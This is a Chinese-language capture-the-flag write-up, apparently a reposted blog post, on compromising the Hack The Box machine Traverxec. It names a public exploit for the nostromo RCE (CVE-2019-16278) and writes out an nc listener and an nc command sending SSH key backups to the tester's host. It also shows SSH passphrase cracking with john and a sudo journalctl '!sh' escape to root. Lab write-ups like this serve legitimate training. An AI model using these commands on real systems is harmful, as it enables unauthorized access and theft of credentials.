Hack The Box——Traverxec

目录

简介

信息收集

漏洞发现

漏洞利用

权限提升

内核提权

SUID提权

总结


简介

这个靶机还算比较简单,只需一步一步慢慢走下去就可以完成了。漏洞发现和利用都比较简单,使用已知漏洞可以直接获得web服务权限的shell,唯一有点难度的可能就是没注意到public_www目录(毕竟只赋予了执行权限,使用ls发现不了),从而获取不到ssh连接的密钥,也可能获取到了ssh连接密钥发现还是需要输入密码,而不知道如何破解(毕竟对john不熟悉很难知道还有ssh2john.py这样的脚本)。总之,当你看完的时候你就知道多简单了。

信息收集

使用nmap -sS 10.10.10.165扫描常用端口,如图:

访问Web服务,发现网页有输入框,然后测试是否存在SQL注入漏洞,发现不存在。然后使用Burp Suite截取数据包,并重放,如图:

发现一个服务器banner信息,这个banner我还没见过,然后搜索一波:

漏洞发现

发现nostromo 1.9.6存在已知的远程代码执行漏洞 ,漏洞编号为:CVE-2019-16278,然后找了exp:https://github.com/sudohyak/exploit/blob/master/CVE-2019-16278/exploit.py进行验证,发现可以成功执行命令,如图: 

漏洞利用

在本机使用nc开启端口监听:nc -lvp 4444,然后执行如下命令进行反弹shell:

执行完之后会看到本地已经建立连接,输入命令测试如图:

web-data用户权限较低,无法查看user.txt,因此查看/etc/passwd文件,发现存在一个uid为1000的账户,如图:

然后进入/home/david目录搜索信息,结果没发现信息,然后查看一下/var目录下的文件,然后在/var/nostromo/conf下发现如下信息:

然后查看htpasswd文件,发现是加密的(密码域密文由三部分组成的,即:$id$salt$encrypted。【注】:id为1时,采用md5进行加密;id为5时,采用SHA256进行加密;id为6时,采用SHA512进行加密。),破解密码要钱,然后继续寻找其他线索,如图:

然后使用路径穿越漏洞尝试进行下载,如图:

发现需要密码,刚刚找到的htpasswd文件中字符串应该就是加密的密码,然后尝试使用nc进行文件传输,新打开一个终端,输入命令:nc -lvp 8888 >backup-ssh-identity-files.tgz,然后在反弹回来的shell中执行:nc 10.10.14.45 8888 <backup-ssh-identity-files.tgz,解压发现是ssh的密钥文件, 尝试使用ssh [email protected] -i id_rsa登录,发现还是需要输入密码。

使用john工具中的ssh2john.py将id_rsa文件转为john可以识别的文件,然后使用john进行解密,如图:

然后使用id_rsa和密码成功登录远程系统,如图:

权限提升

  • 内核提权

查看系统内核版本,如图:

尝试使用CVE-2019-13272进行提权,如图:

由于没有权限执行pkexec或者不存在导致无法提权成功。

  • SUID提权

使用find / -perm -u=s -type f 2>/dev/null、find / -user root -perm -4000 -print 2>/dev/null或find / -user root -perm -4000 -exec ls -ldb {} \;查看具有root权限的程序,如图:

没有常见的find、bash、vim、cp、nano、less和more等。然后发现有个bin目录还没看看,然后查看bin目录下的文件,其中server-stats.sh文件内容如图:

文件最后一行使用sudo执行了/usr/bin/journalctl命令,这或许是作者有意的提示吧。然后执行/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/less,输入!sh,如图:

未获得root权限的shell(后来才想到less并不是以sudo权限执行的,我真傻),接着尝试 执行usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service,如图:

原来journalctl命令和less、more差不多,都不会直接显示完(之前完全不知道journalctl命令),尝试输入!sh,如图:

成功提升为root权限。

总结

本文记录了对Hack The Box::Traverxec靶机的完整渗透测试流程。靶机较简单,但对于刚入门或经验不足的人来说可能也有点难度,主要是从www-data用户到普通用户这里可能并不能很快注意到public_www目录,即便使用ls -la在没有发现其他目录的情况下可能会束手无策,又或者提权经验不足卡在那里。总之,在做Hack The Box靶机的时候,很多时候作者都给足了提示,只要细心细心在细心,一定能获得root权限。

发布了31 篇原创文章 · 获赞 55 · 访问量 28万+

猜你喜欢

转载自blog.csdn.net/qq_32261191/article/details/104558355